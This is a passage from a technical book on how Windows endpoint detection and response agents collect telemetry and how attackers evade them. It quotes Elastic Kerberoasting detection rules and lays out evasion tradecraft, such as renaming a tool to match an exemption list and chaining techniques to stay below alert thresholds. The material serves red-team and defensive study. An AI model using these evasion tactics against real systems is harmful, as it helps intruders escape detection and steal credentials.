investigating alerts, building new detections, understanding blind spots, and purchasing products. That said, if you’re looking for a step-by-step guide to evading the spe- cific EDR deployed in your particular operating environment, this book isn’t for you. While we discuss evasions related to the broader technologies used by most endpoint security agents, we do so in a vendor-agnostic way. All EDR agents generally work with similar data because the operating system standardizes its collection techniques. This means we can focus our attention on this common core: the information used to build detections. Understanding it can clarify why a vendor makes certain design decisions. Lastly, this book exclusively targets the Windows operating system. While you’ll increasingly find EDRs developed specifically for Linux and macOS, they still don’t hold a candle to the market share held by Windows agents. Because we’re far more likely to run into an EDR deployed on Windows when attacking or defending a network, we’ll focus our efforts on gaining a deep understanding of how these agents work. What Is in This Book Each chapter covers a specific EDR sensor or group of components used to collect some type of data. We begin by walking through how developers commonly implement the component, then discuss the types of data it col- lects. Lastly, we survey the common techniques used to evade each compo- nent and why they work. Evading EDR (Early Access) © 2023 by Matt Hand Introduction   ix Chapter 1: EDR-chitecture Provides an introduction to the design of EDR agents, their various components, and their general capabilities. Chapter 2: Function-Hooking DLLs Discusses how an EDR intercepts calls to user-mode functions so that it can watch for invocations that could indicate the presence of malware on the system. Chapter 3: Process- and Thread-Creation Notifications Starts our journey into the kernel by covering the primary technique an EDR uses to monitor process-creation and thread-creation events on the system and the incredible amount of data the operating system can provide the agent. Chapter 4: Object Notifications Continues our dive into kernel-mode drivers by discussing how an EDR can be notified when a handle to a process is requested. Chapter 5: Image-Load and Registry Notifications Wraps up the pri- mary kernel-mode section with a walk-through of how an EDR monitors files, such as DLLs, being loaded into a process and how the driver can leverage these notifications to inject their function-hooking DLL into a new process. This chapter also discusses the telemetry generated when interacting with the registry and how it can be used to detect attacker activities. Chapter 6: Filesystem Minifilter Drivers Provides insight into how an EDR can monitor filesystem operations, such as new files being created, and how it can use this information to detect malware trying to hide its presence. Chapter 7: Network Filter Drivers Discusses how an EDR can use the Windows Filtering Platform (WFP) to monitor network traffic on a host and detect activities like command-and-control beaconing. Chapter 8: Event Tracing for Windows Dives into an incredibly pow- erful user-mode logging technology native to Windows that EDRs can use to consume events from corners of the operating system that are otherwise difficult to reach. Chapter 9: Scanners Discusses the EDR component responsible for determining if some content contains malware, whether it be a file dropped to disk or a given range of virtual memory. Chapter 10: Antimalware Scan Interface Covers a scanning technol- ogy that Microsoft has integrated into many scripting and program- ming languages, as well as applications, to detect issues that legacy scanners can’t detect. Chapter 11: Early Launch Antimalware Drivers Discusses how an EDR can deploy a special type of driver to detect malware that runs early in the boot process, potentially before the EDR has a chance to start. Chapter 12: Microsoft-Windows-Threat-Intelligence Builds upon the preceding chapter by discussing what is arguably the most valu- able reason for deploying an ELAM driver: gaining access to the Evading EDR (Early Access) © 2023 by Matt Hand x   Introduction Microsoft-Windows-Threat-Intelligence ETW provider, which can detect issues that other providers miss. Chapter 13: Case Study: A Detection-Aware Attack Puts the infor- mation gained in previous chapters into practice by walking through a simulated red team operation whose primary objective is to remain undetected. Appendix: Auxiliary Sources Discusses niche sensors that we don’t see deployed very frequently but that can still bring immense value to an EDR. Prerequisite Knowledge This is a deeply technical book, and to get the most out of it, I strongly rec- ommend that you familiarize yourself with the following concepts. First, knowledge of basic penetration testing techniques will help you better understand why an EDR may attempt to detect a specific action on a system. Many resources can teach you this information, but some free ones include Bad Sector Labs’s Last Week in Security blog series, Mantvydas Baranauskas’s blog Red Team Notes, and the SpecterOps blog. We’ll spend quite a bit of time deep in the weeds of the Windows operating system. Thus, you may find it worthwhile to understand the basics of Windows internals and the Win32 API. The best resources for exploring the concepts covered in this book are Windows Internals: System Architecture, Processes, Threads, Memory Management, and More, Part 1, 7th Edition, by Pavel Yosifovich, Alex Ionescu, Mark E. Russinovich, and David A. Solomon (Microsoft Press, 2017), and Microsoft’s Win32 API documentation, which you can find at https://learn.microsoft.com/en-us/ windows/win32/api. Because we examine source code and debugger output in depth, you may also want to be familiar with the C programming language and x86 assembly. This isn’t a requirement, though, as we’ll walk through each code listing to highlight key points. If you’re interested in diving into either of these topics, you can find fantastic online and print resources, such as https://www.learn-c.org and The Art of 64-Bit Assembly Language, Volume 1, by Randall Hyde (No Starch Press, 2021). Experience with tools like WinDbg, the Windows debugger; Ghidra, the disassembler and decompiler; PowerShell, the scripting language; and the SysInternals Suite (specifically, the tools Process Monitor and Process Explorer) will aid you as well. Although we walk through the use of these tools in the book, they can be tricky at times. For a crash course, see Microsoft’s “Getting Started with Windows Debugging” series of articles, The Ghidra Book by Chris Eagle and Kara Nance (No Starch Press, 2020), Microsoft’s “Introduction to Scripting with PowerShell” course, and Troubleshooting with the Windows Sysinternals Tools, 2nd Edition, by Mark E. Russinovich and Aaron Margosis (Microsoft Press, 2016). Evading EDR (Early Access) © 2023 by Matt Hand Introduction   xi Setting Up If you’d like to test the techniques discussed in this book, you may want to configure a lab environment. I recommend the following setup consisting of two virtual machines: • A virtual machine running Windows 10 or later with the following soft- ware installed: Visual Studio 2019 or later configured for desktop C++ development, the Windows Driver Kit (WDK), WinDbg (available in the Microsoft store), Ghidra, and the SysInternals Suite. • A virtual machine running any operating system or distribution you’d like that can serve as a command-and-control server. You could use Cobalt Strike, Mythic, Covenant, or any other command-and-control framework, so long as it has the ability to generate agent shellcode and to execute tooling on the target system. Ideally, you should disable the antivirus and EDRs on both systems so that they don’t interfere with your testing. Additionally, if you plan to work with real malware samples, create a sandbox environment to reduce the likelihood of any ill effects occurring when the samples are run. Evading EDR (Early Access) © 2023 by Matt Hand Evading EDR (Early Access) © 2023 by Matt Hand Virtually every adversary, whether they’re a malicious actor or part of a commercial red team, will sometimes run into defensive products that compromise their operations. Of these defensive products, endpoint detection and response (EDR) presents the largest risk to the post- exploitation phase of an attack. Generally speaking, EDRs are applications installed on a target’s work- stations or servers that are designed to collect data about the security of the environment, called telemetry. In this chapter, we discuss the components of EDRs, their methods of detecting malicious activity on a system, and their typical designs. We also provide an overview of the difficulties that EDRs can cause attackers. 1 E DR- CH I T EC T U R E Evading EDR (Early Access) © 2023 by Matt Hand 2   Chapter 1 The Components of an EDR Later chapters will explore the nuts and bolts of many EDR sensor compo- nents, how they work, and how attackers might evade them. First, though, we’ll consider the EDR as a whole and define some terms that you’ll see fre- quently throughout the book. What Is the Agent? The EDR agent is an application that controls and consumes data from sen- sor components, performs some basic analysis to determine whether a given activity or series of events aligns with attacker behavior, and forwards the telemetry to the main server, which further analyzes events from all agents deployed in an environment. If the agent deems some activity to be worthy of its attention, it may take any of the following actions: log that malicious activity in the form of an alert sent to a central logging system, such as the EDR’s dashboard or a security incident and event management (SIEM) solution; block the mali- cious operation’s execution by returning values indicating failure to the program that is performing the action; or deceive the attacker by returning to the caller invalid values, such as incorrect memory addresses or modified access masks, causing the offensive tooling to believe that the operation completed successfully even though subsequent operations will fail. What Is Telemetry? Every sensor in an EDR serves a common purpose: the collection of telemetry. Roughly defined, telemetry is the raw data generated by an agent component or the host itself, and defenders can analyze it to determine whether malicious activity has occurred. Every action on the system, from opening a file to creating a new process, generates some form of telemetry. This information becomes a datapoint in the security product’s internal alerting logic. Figure 1-1 compares telemetry to the data collected by a radar system. Radars use electromagnetic waves to detect the presence, heading, and velocity of objects within some range. When a radio wave bounces off an object and returns to the radar sys- tem, it creates a datapoint indicating that there is something there. Using these datapoints, the radar system’s processor can determine things such as the object’s speed, location, and altitude and then handle each case differ- ently. For instance, the system might need to respond to an object flying at a slow speed at lower altitudes differently from one flying at a fast speed at higher altitudes. This is very similar to how an EDR handles the telemetry collected by its sensors. On its own, information about how a process was created or a file was accessed rarely provides enough context to make an informed deci- sion regarding actions to be taken. They’re just blips on the radar display. Moreover, a process detected by an EDR can terminate at any point in time. Evading EDR (Early Access) © 2023 by Matt Hand EDR-Chitecture   3 Therefore, it is important for the telemetry feeding into the EDR to be as complete as possible. The EDR then passes the data to its detection logic. This detection logic takes all available telemetry and uses some internal method, such as environmental heuristics or static signature libraries, to attempt to ascer- tain whether the activity was benign or malicious and whether the activity meets its threshold for logging or prevention. What Are Sensors? If telemetry represents the blips on the radar, then sensors are the trans- mitter, duplexer, and receiver: the components responsible for detecting objects and turning them into blips. Whereas radar systems constantly ping objects to track their movements, EDR sensors work a bit more passively by intercepting data flowing through an internal process, extracting informa- tion, and forwarding it to the central agent. Because these sensors often need to sit inline of some system process, they must also work incredibly fast. Imagine that a sensor monitoring reg- istry queries took 5 ms to perform its work before the registry operation was allowed to continue. That doesn’t sound like much of a problem until you consider that thousands of registry queries can occur per second on some systems. A 5 ms processing penalty applied to 1,000 events would introduce a five-second delay to system operations. Most users would find this unacceptable, driving customers away from using the EDR altogether. Although Windows has numerous telemetry sources available, EDRs typically focus on only a select few. This is because certain sources may lack data quality or quantity, may not be relevant to host security, or may not be easily accessible. Some sensors are built into the operating system, such as the native event log. EDRs may also introduce their own sensor components to the system, such as drivers, function-hooking DLLs, and minifilters, which we’ll discuss in later chapters. Filesystem write Suspicious function Process creation Network connection Figure 1-1: Visualizing security events as radar blips Evading EDR (Early Access) © 2023 by Matt Hand 4   Chapter 1 Those of us on the offensive side of things mostly care about prevent- ing, limiting, or normalizing (as in blending in with) the flow of telemetry collected by the sensor. The goal of this tactic is to reduce the number of datapoints that the product could use to create high-fidelity alerts or pre- vent our operation from executing. Essentially, we’re trying to generate a false negative. By understanding each of an EDR’s sensor components and the telemetry it can collect, we can make informed decisions about the tradecraft to use in certain situations and develop robust evasion strategies backed by data rather than anecdotal evidence. What Are Detections? Simply put, detections are the logic that correlates discrete pieces of telem- etry with some behavior performed on the system. A detection can check for a singular condition (for example, the presence of a file whose hash matches that of known malware) or a complex sequence of events coming from many different sources (for example, that a child process of chrome.exe was spawned and then communicated over TCP port 88 with the domain controller). Typically, a detection engineer writes these rules based on the avail- able sensors. Some detection engineers work for the EDR vendor and so must carefully consider scale, as the detection will likely affect a substantial number of organizations. On the other hand, detection engineers working within an organization can build rules that extend the EDR’s capabilities beyond those that the vendor provides to tailor their detection to the needs of their environment. An EDR’s detection logic usually exists in the agent and its subordinate sensors or in the backend collection system (the system to which all agents in the enterprise report). Sometimes it is found in some combination of the two. There are pros and cons to each approach. A detection implemented in the agent or its sensors may allow the EDR to take immediate preventive action but won’t provide it with the ability to analyze a complex situation. By contrast, a detection implemented at the backend collection system can support a huge set of detection rules but introduces delays to any preventive action taken. The Challenges of EDR Evasion Many adversaries rely on bypasses described anecdotally or in public proofs of concept to avoid detection on a target’s systems. This approach can be problematic for a number of reasons. First, those public bypasses only work if an EDR’s capabilities stay the same over time and across different organizations. This isn’t a huge issue for internal red teams, which likely encounter the same product deployed across their entire environment. For consultants and malicious threat actors, however, the evolution of EDR products poses a significant head- ache, as each environment’s software has its own configuration, heuristics, Evading EDR (Early Access) © 2023 by Matt Hand EDR-Chitecture   5 and alert logic. For example, an EDR might not scrutinize the execution of PsExec, a Windows remote-administration tool, in one organization if its use there is commonplace. But another organization might rarely use the tool, so its execution might indicate malicious activity. Second, these public evasion tools, blog posts, and papers often use the term bypass loosely. In many cases, their authors haven’t determined whether the EDR merely allowed some action to occur or didn’t detect it at all. Sometimes, rather than automatically blocking an action, an EDR triggers alerts that require human interaction, introducing a delay to the response. (Imagine that the alert fired at 3 am on a Saturday, allowing the attacker to continue moving through the environment.) Most attackers hope to completely evade detection, as a mature security operations cen- ter (SOC) can efficiently hunt down the source of any malicious activity once an EDR detects it. This can be catastrophic to an attacker’s mission. Third, researchers who disclose new techniques typically don’t name the products they tested, for a number of reasons. For instance, they might have signed a nondisclosure agreement with a client or worry that the affected vendor will threaten legal action. Consequentially, those research- ers may think that some technique can bypass all EDRs instead of only a certain product and configuration. For example, a technique might evade user-mode function hooking in one product because the product happens not to monitor the targeted function, but another product might imple- ment a hook that would detect the malicious API call. Finally, researchers might not clarify which component of the EDR their technique evades. Modern EDRs are complex pieces of software with many sensor components, each of which can be bypassed in its own way. For example, an EDR might track suspicious parent–child process relationships by obtaining data from a kernel-mode driver, Event Tracing for Windows (ETW), function hooks, and a number of other sources. If an evasion technique targets an EDR agent that relies on ETW to collect its data, it may not work against a product that leverages its driver for the same purpose. To effectively evade EDR, then, adversaries need a detailed understand- ing of how these tools work. The rest of this chapter dives into their compo- nents and structure. Identifying Malicious Activity To build successful detections, an engineer must understand more than the latest attacker tactics; they must also know how a business operates and what an attacker’s objectives might be. Then they must take the distinct and potentially unrelated datapoints gleaned from an EDR’s sensors and iden- tify clusters of activity that could indicate something malicious happening on the system. This is much easier said than done. For example, does the creation of a new service indicate that an adver- sary has installed malware persistently on the system? Potentially, but it’s more likely that the user installed new software for legitimate reasons. What Evading EDR (Early Access) © 2023 by Matt Hand 6   Chapter 1 if the service was installed at 3 am? Suspicious, but maybe the user is burn- ing the midnight oil on a big project. How about if rundll32.exe, the native Windows application for executing DLLs, is the process responsible for installing the service? Your gut reaction may be to say, “Aha! We’ve got you now!” Still, the functionality could be part of a legitimate but poorly imple- mented installer. Deriving intent from actions can be extremely difficult. Considering Context The best way to make informed decisions is to consider the context of the actions in question. Compare them with user and environmental norms, known adversary tradecraft and artifacts, and other actions that the affected user performed in some timeframe. Table 1-1 provides an example of how this may work. Table 1-1: Evaluating a Series of Events on the System Event Context Determination 2:55 AM: The application chatapp.exe spawns under the context CONTOSO\jdoe. The user JDOE frequently travels inter- nationally and works off-hours to meet with business partners in other regions. Benign 2:55 AM: The applica- tion chatapp.exe loads an unsigned DLL, usp10.dll, from the %APPDATA% directory. This chat application isn’t known to load unsigned code in its default con- figuration, but users at the organiza- tion are permitted to install third-party plug-ins that may change the applica- tion’s behavior at startup. Mildly suspicious 2:56 AM: The application chatapp.exe makes a con- nection to the internet over TCP port 443. This chat application’s server is hosted by a cloud provider, so it regularly polls the server for information. Benign 2:59 AM: The application chatapp.exe queries the registry value HKLM:\System\ CurrentControlSet\Control\ LSA\LsaCfgFlags. This chat application regularly pulls system- and application-configuration information from the registry but isn’t known to access registry keys associ- ated with Credential Guard. Highly suspicious 3 AM: The application chatapp.exe opens a handle to lsass.exe with PROCESS _VM_READ access. This chat application doesn’t access the address spaces of other processes, but the user JDOE does have the required permissions. Malicious This contrived example shows the ambiguity involved in determining intent based on the actions taken on a system. Remember that the over- whelming majority of activities on a system are benign, assuming that some- thing horrible hasn’t happened. Engineers must determine how sensitive an EDR’s detections should be (in other words, how much they should skew toward saying something is malicious) based on how many false negatives the customer can tolerate. One way that a product can meet its customers’ needs is by using a com- bination of so-called brittle and robust detections. Evading EDR (Early Access) © 2023 by Matt Hand EDR-Chitecture   7 Applying Brittle vs. Robust Detections Brittle detections are those designed to detect a specific artifact, such as a simple string or hash-based signature commonly associated with known malware. Robust detections aim to detect behaviors and could be backed by machine-learning models trained for the environment. Both detection types have a place in modern scanning engines, as they help balance false positives and false negatives. For example, a detection built around the hash of a malicious file will very effectively detect a specific version of that one file, but any slight varia- tion to the file will change its hash, causing the detection rule to fail. This is why we call such rules “brittle.” They are extremely specific, often targeting a single artifact. This means that the likelihood of a false positive is almost nonexistent while the likelihood of a false negative is very high. Despite their flaws, these detections offer distinct benefits to security teams. They are easy to develop and maintain, so engineers can change them rapidly as the organization’s needs evolve. They can also effectively detect some common attacks. For example, a single rule for detecting an unmodified version of the exploitation tool Mimikatz brings tremendous value, as its false-positive rate is nearly zero and the likelihood of the tool being used maliciously is high. Even so, the detection engineer must carefully consider what data to use when creating their brittle detections. If an attacker can trivially modify the indicator, the detection becomes much easier to evade. For example, say that a detection checks for the filename mimikatz.exe; an adversary could simply change the filename to mimidogz.exe and bypass the detection logic. For this reason, the best brittle detections target attributes that are either immutable or at least difficult to modify. On the other end of the spectrum, a robust ruleset backed by a machine-learning model might flag the modified file as suspicious because it is unique to the environment or contains some attribute that the clas- sification algorithm weighted highly. Most robust detections are simply rules that more broadly try to target a technique. These types of detections exchange their specificity for the ability to detect an attack more generally, reducing the likelihood of false negatives by increasing the likelihood of false positives. While the industry tends to favor robust detections, they have their own drawbacks. Compared to brittle signatures, these rules can be much harder to develop due to their complexity. Additionally, the detection engineer must consider an organization’s false-positive tolerance. If their detection has a very low false-negative rate but a high false-positive rate, the EDR will behave like the boy who cried wolf. If they go too far in their attempts to reduce false positives, they may also increase the rate of false negatives, allowing an attack to go unnoticed. Because of this, most EDRs employ a hybrid approach, using brittle signatures to catch obvious threats and robust detections to detect attacker techniques more generally. Evading EDR (Early Access) © 2023 by Matt Hand 8   Chapter 1 Exploring Elastic Detection Rules One of the only EDR vendors to publicly release its detection rules is Elastic, which publishes its SIEM rules in a GitHub repository. Let’s take a peek behind the curtain, as these rules contain great examples of both brittle and robust detections. For example, consider Elastic’s rule for detecting Kerberoasting attempts that use Bifrost, a macOS tool for interacting with Kerberos, shown in Listing 1-1. Kerberoasting is the technique of retrieving Kerberos tickets and cracking them to uncover service account credentials. query = ''' event.category:process and event.type:start and process.args:("-action" and ("-kerberoast" or askhash or asktgs or asktgt or s4u or ("-ticket" and ptt) or (dump and (tickets or keytab)))) ''' Listing 1-1: Elastic’s rule for detecting Kerberoasting based on command line arguments This rule checks for the presence of certain command line arguments that Bifrost supports. An attacker could trivially bypass this detection by renaming the arguments in the source code (for example, changing -action to -dothis) and then recompiling the tool. Additionally, a false positive could occur if an unrelated tool supports the arguments listed in the rule. For these reasons, the rule might seem like a bad detection. But remem- ber that not all adversaries operate at the same level. Many threat groups continue to use off-the-shelf tooling. This detection serves to catch those who are using the basic version of Bifrost and nothing more. Because of the rule’s narrow focus, Elastic should supplement it with a more robust detection that covers these gaps. Thankfully, the vendor pub- lished a complementary rule, shown in Listing 1-2. query = ''' network where event.type == "start" and network.direction == "outgoing" and destination.port == 88 and source.port >= 49152 and process.executable != "C:\\Windows\\System32\\lsass.exe" and destination.address !="127.0.0.1" and destination.address !="::1" and /* insert False Positives here */ not process.name in ("swi_fc.exe", "fsIPcam.exe", "IPCamera.exe", "MicrosoftEdgeCP.exe", "MicrosoftEdge.exe", "iexplore.exe", "chrome.exe", "msedge.exe", "opera.exe", "firefox.exe") ''' Listing 1-2: Elastic’s rule for detecting atypical processes communicating over TCP port 88 This rule targets atypical processes that make outbound connections to TCP port 88, the standard Kerberos port. While this rule contains some gaps to address false positives, it’s generally more robust than the brittle detection for Bifrost. Even if the adversary were to rename parameters and recompile the tool, the network behavior inherent to Kerberoasting would cause this rule to fire. Evading EDR (Early Access) © 2023 by Matt Hand EDR-Chitecture   9 To evade detection, the adversary could take advantage of the exemp- tion list included at the bottom of the rule, perhaps changing Bifrost’s name to match one of those files, such as opera.exe. If the adversary also modified the tool’s command line arguments, they would evade both the brittle and robust detections covered here. Most EDR agents strive for a balance between brittle and robust detec- tions but do so in an opaque way, so an organization might find it very difficult to ensure coverage, especially in agents that don’t support the intro- duction of custom rules. For this reason, a team’s detection engineers should test and validate detections using tooling such as Red Canary’s Atomic Test Harnesses. Agent Design As attackers, we should pay close attention to the EDR agent deployed on the endpoints we’re targeting because this is the component responsible for detecting the activities we’ll use to complete our operation. In this sec- tion, we’ll review the parts of an agent and the various design choices they might make. Basic Agents are composed of distinct parts, each of which has its own objective and type of telemetry it is able to collect. Most commonly, agents include the following components: The Static Scanner An application, or component of the agent itself, that performs static analysis of images, such as Portable Executable (PE) files or arbitrary ranges of virtual memory, to determine whether the content is malicious. Static scanners commonly form the backbone of antivirus services. The Hooking DLL A DLL that is responsible for intercepting calls to specific application programming interface (API) functions. Chapter 2 covers function hooking in detail. The Kernel Driver A kernel-mode driver responsible for injecting the hooking DLL into target processes and collecting kernel-specific telem- etry. Chapters 3 through 7 cover its various detection techniques. The Agent Service An application responsible for aggregating telem- etry created by the preceding two components. It sometimes correlates data or generates alerts. Then it relays the collected data to a central- ized EDR server. Figure 1-2 shows the most basic agent architecture that commercial products use today. As we can see here, this basic design doesn’t have many sources of telemetry. Its three sensors (a scanner, a driver, and a function-hooking DLL) provide the agent with data about process-creation events, the invo- cation of functions deemed sensitive (such as kernel32!CreateRemoteThread), Evading EDR (Early Access) © 2023 by Matt Hand 10   Chapter 1 the signatures of files, and potentially the virtual memory belonging to a process. This may be sufficient coverage for some use cases, but most com- mercial EDR products today go far beyond these capabilities. For instance, this basic EDR would be incapable of detecting files being created, deleted, or encrypted on the host. Intermediate While a basic agent can collect a large amount of valuable data with which to create detections, this data may not form a complete picture of the activities performed on the host. Usually, the endpoint security products deployed in enterprise environments today have substantially expanded their capabilities to collect additional telemetry. Most of the agents that attackers encounter fall into the intermediate level of sophistication. These agents not only introduce new sensors but also use telemetry sources native to the operating system. Additions commonly made at this level may include the following: Network filter drivers Drivers that perform network traffic analysis to identify indicators of malicious activity, such as beaconing. These will be covered in Chapter 7. Filesystem filter drivers A special type of driver that can monitor for operations on the host filesystem. They are discussed extensively in Chapter 6. ETW consumers Components of the agent that can subscribe to events created by the host operating system or third-party applications. ETW is covered in Chapter 8. Agent service Process Kernel-mode driver Hook DLL KAPC injection Kernel telemetry Hooked API telemetry Image Static scanner Scan results Figure 1-2: The basic agent architecture Evading EDR (Early Access) © 2023 by Matt Hand EDR-Chitecture   11 Early Launch Antimalware (ELAM) components Features that pro- vide a Microsoft-supported mechanism for loading an antimalware driver before other boot-start services to control the initialization of the other boot drivers. These components also grant the ability to receive Secure ETW events, a special type of event generated from a group of protected event providers. These functions of ELAM drivers are cov- ered in Chapter 11 and Chapter 12. While modern EDRs may not implement all of these components, you’ll commonly see the ELAM driver deployed alongside the primary kernel driver. Figure 1-3 illustrates what a more modern agent architecture may look like. Agent service Process Kernel-mode driver Hook DLL KAPC injection Kernel telemetry Hooked API telemetry Image Static scanner Scan results Filesystem minifilter Network filter ELAM driver ELAM service Network stack Filesystem File I/O telemetry Network telemetry Secure kernel ETW events and boot-start driver telemetry ETW ETW events Figure 1-3: The intermediate agent architecture This design builds upon the basic architecture and adds many new sensors from which telemetry can be collected. For instance, this EDR can now monitor filesystem events such as file creation, consume from ETW providers that offer data the agent wouldn’t otherwise be able to collect, and observe network communications on the host through its filter driver, potentially allowing the agent to detect command-and-control beaconing activity. It also adds a layer of redundancy so that if one sensor fails, another might be able to pick up the slack. Advanced Some products implement more advanced features to monitor specific areas of the system in which they’re interested. Here are two examples of such features: Hypervisors Provide a method for the interception of system calls, the virtualization of certain system components, and the sandboxing of code execution. These also provide the agent with a way to moni- tor transitions in execution between the guest and host. They’re com- monly leveraged as a component of anti-ransomware and anti-exploit functionality. Evading EDR (Early Access) © 2023 by Matt Hand 12   Chapter 1 Adversary deception Provides false data to the adversary instead of preventing the malicious code’s execution. This may cause the adver- sary to focus on debugging their tooling without realizing that the data in use has been tampered with. Because these are typically product-specific implementations and are not commonplace at the time of this writing, we won’t discuss these advanced features in significant detail. Additionally, many of the compo- nents in this category align more closely with prevention strategies rather than detection, pushing them slightly outside the scope of this book. As time goes on, however, some advanced features may become more common, and new ones will likely be invented. Types of Bypasses In his 2021 blog post “Evadere Classifications,” Jonny Johnson groups eva- sions based on the location in the detection pipeline where they occur. Using the Funnel of Fidelity, a concept put forth by Jared Atkinson to describe phases of the detection-and-response pipeline, Johnson defines areas where an evasion can occur. The following are the ones we’ll discuss in later chapters: Configuration Bypass Occurs when there is a telemetry source on the endpoint that could identify the malicious activity, but the sensor failed to collect data from it, leading to a gap in coverage. For example, even if the sensor is able to collect events from a specific ETW provider related to Kerberos authentication activity, it might not be configured to do so. Perceptual bypass Occurs when the sensor or agent lacks the capabil- ity to collect the relevant telemetry. For example, the agent might not monitor filesystem interactions. Logical bypass Occurs when the adversary abuses a gap in a detec- tion’s logic. For example, a detection might contain a known gap that no other detection covers. Classification bypass Occurs when the sensor or agent is unable to identify enough datapoints to classify the attacker’s behavior as mali- cious, despite observing it. For example, the attacker’s traffic might blend into normal network traffic. Configuration bypasses are one of the most common techniques. Sometimes they are even used unknowingly, as most mature EDR agents have the ability to collect certain telemetry but fail to do so for one reason or another, such as to reduce event volume. Perceptual bypasses are gener- ally the most valuable because if the data doesn’t exist and no compensat- ing components cover the gap, the EDR has no chance of detecting the attacker’s activities. Logical bypasses are the trickiest to pull off because they generally require knowledge of the detection’s underlying logic. Lastly, classification bypasses require a bit of forethought and system profiling, but red teams Evading EDR (Early Access) © 2023 by Matt Hand EDR-Chitecture   13 use them frequently (for example, by beaconing over a slow HTTPS chan- nel to a reputable site for their command-and-control activities). When exe- cuted well, classification bypasses can approach the efficacy of a perceptual bypass for less work than that required for a logical bypass. On the defense side, these classifications let us discuss blind spots in our detection strategies with greater specificity. For instance, if we require that events be forwarded from the endpoint agent to the central collection server for analysis, our detection is inherently vulnerable to a configuration evasion, as an attacker could potentially change the agent’s configuration in such a way that the agent–server communication channel is interrupted. Perceptual bypasses are important to understand but are often the hardest to find. If our EDR simply lacks the ability to collect the required data, we have no choice but to find another way to build our detection. Logical bypasses happen due to decisions made when building the detec- tion rules. Because SOCs aren’t staffed with an infinite number of analysts who can review alerts, engineers always seek to reduce false positives. But for every exemption they make in a rule, they inherit the potential for a logical bypass. Consider Elastic’s robust Kerberoasting rule described earlier and how an adversary could simply change the name of their tool to evade it. Finally, classification evasions can be the trickiest to protect against. To do so, engineers must continue to tune the EDR’s detection threshold until it’s just right. Take command-and-control beaconing as an example. Say we build our detection strategy by assuming that an attacker will connect to a site with an uncategorized reputation at a rate greater than one request per minute. In what way could our adversary fly under the radar? Well, they might beacon through an established domain or slow their callback interval to once every two minutes. In response, we could change our rule to look for domains to which the system hasn’t previously connected, or we could increase the beacon- ing interval. But remember that we’d risk receiving more false positives. Engineers will continue to perform this dance as they strive to optimize their detection strategies to balance the tolerances of their organizations with the capabilities of their adversaries. Linking Evasion Techniques: An Example Attack There is typically more than one way to collect a piece of telemetry. For example, the EDR could monitor process-creation events using both a driver and an ETW consumer. This means that evasion isn’t a simple matter of finding a silver bullet. Rather, it’s the process of abusing gaps in a sensor to fly under the threshold at which the EDR generates an alert or takes pre- ventive action. Consider Table 1-2, which describes a contrived classification system designed to catch command-and-control agent operations. In this example, any actions occurring within some window of time whose cumulative score is greater than or equal to 500 will cause a high-severity alert. A score higher than 750 will cause the offending process and its children to be terminated. Evading EDR (Early Access) © 2023 by Matt Hand 14   Chapter 1 Table 1-2: An Example Classification System Activity Risk score Execution of an unsigned binary 250 Atypical child process spawned 400 Outbound HTTP traffic originating from a non-browser process 100 Allocation of a read-write-execute buffer 200 Committed memory allocation not backed by an image 350 An attacker could bypass each of these activities individually, but when they’re combined, evasion becomes much more difficult. How could we chain evasion techniques to avoid triggering the detection logic? Starting with configuration evasions, let’s imagine that the agent lacks a network-inspection sensor, so it can’t correlate outgoing network traffic with a client process. However, a compensating control may be present, such as an ETW consumer for the Microsoft-Windows-WebIO provider. In that case, we might opt to use a browser as a host process or employ another protocol, such as DNS, for command and control. We might also use a logical eva- sion to subvert the “atypical child process” detection by matching typical parent–child relationships on the system. For a perceptual evasion, let’s say that the agent lacks the ability to scan memory allocations to see if they’re backed by an image. As attackers, we won’t need to worry at all about being detected based on this indicator. Let’s put this all together to describe how an attack might proceed. First, we could exploit an email client to achieve code execution under the context of that process. Because this mail-client binary is a legitimate product that existed on the system prior to compromise, we can reasonably assume that it is signed or has a signing exclusion. We’ll send and receive command-and-control traffic over HTTP, which triggers the detection for a non-browser process communicating over HTTP, bringing the current risk score up to 100. Next, we need to spawn a sacrificial process at some point to perform our post-exploitation actions. Our tooling is written in PowerShell, but rather than spawning powershell.exe, which would be atypical and trigger an alert by bringing our risk score to 500, we instead spawn a new instance of the email client as a child process and use Unmanaged PowerShell to exe- cute our tooling inside it. Our agent allocates a read-write-execute buffer in the child process, however, raising our risk score to 300. We receive the output from our tool and determine that we need to run another tool to perform some action to further our access. At this point, any additional detections will raise our risk score to 500 or greater, potentially burning our operation, so we have some decisions to make. Here are a few options: • Execute the post-exploitation tooling and accept the detection. After the alert, we could move very quickly in an attempt to outpace the response, hope for an ineffective response process that fails to Evading EDR (Early Access) © 2023 by Matt Hand EDR-Chitecture   15 eradicate us, or be okay with burning the operation and starting over again if needed. • Wait for some period of time before executing our tooling. Because the agent correlates only those events that occur within some window of time, we can simply wait until the state recycles, resetting our risk score to zero, and continue the operation from there. • Find another method of execution. This could range from simply drop- ping our script on the target and executing it there, to proxying in the post-exploitation tool’s traffic to reduce most of the host-based indica- tors it would create. Whatever we choose, our goal is clear: stay below the alerting threshold for as long as possible. By calculating the risks of each action that we need to perform, understanding the indicators our activities create, and using a combination of evasion tactics, we can evade an EDR’s complex detection systems. Note that no single evasion worked universally in this example. Rather, a combination of evasions targeted the most relevant detections for the task at hand. Conclusion In summary, an EDR agent is composed of any number of sensors that are responsible for collecting telemetry related to activity on the system. The EDR applies its own rules or detection logic across this data to pick out what things might indicate a malicious actor’s presence. Each of these sen- sors is susceptible to evasion in some way, and it is our job to identify those blind spots and either abuse them or compensate for them. Evading EDR (Early Access) © 2023 by Matt Hand Evading EDR (Early Access) © 2023 by Matt Hand Of all the components included in modern endpoint security products, the most widely deployed are DLLs responsible for function hooking, or interception. These DLLs provide defenders with a large amount of important informa- tion related to code execution, such as the param- eters passed to a function of interest and the values it returns. Today, vendors largely use this data to supple- ment other, more robust sources of information. Still, function hooking is an important component of EDRs. In this chapter, we’ll discuss how EDRs most com- monly intercept function calls and what we, as attack- ers, can do to interfere with them. 2 F U NC T ION - HOOK ING DL L S Evading EDR (Early Access) © 2023 by Matt Hand 18   Chapter 2 This chapter focuses heavily on the hooking of functions in a Windows file called ntdll.dll whose functionality we’ll cover shortly, but modern EDRs hook other Windows functions too. The process of imple- menting these other hooks closely resembles the workflow described in this chapter. How Function Hooking Works To understand how endpoint security products use code hooking, you must understand how code running in user mode interacts with the kernel. This code typically leverages the Win32 API during execution to perform certain functions on the host, such as requesting a handle to another pro- cess. However, in many cases, the functionality provided via Win32 can’t be completed entirely in user mode. Some actions, such as memory and object management, are the responsibility of the kernel. To transfer execution to the kernel, x64 systems use a syscall instruc- 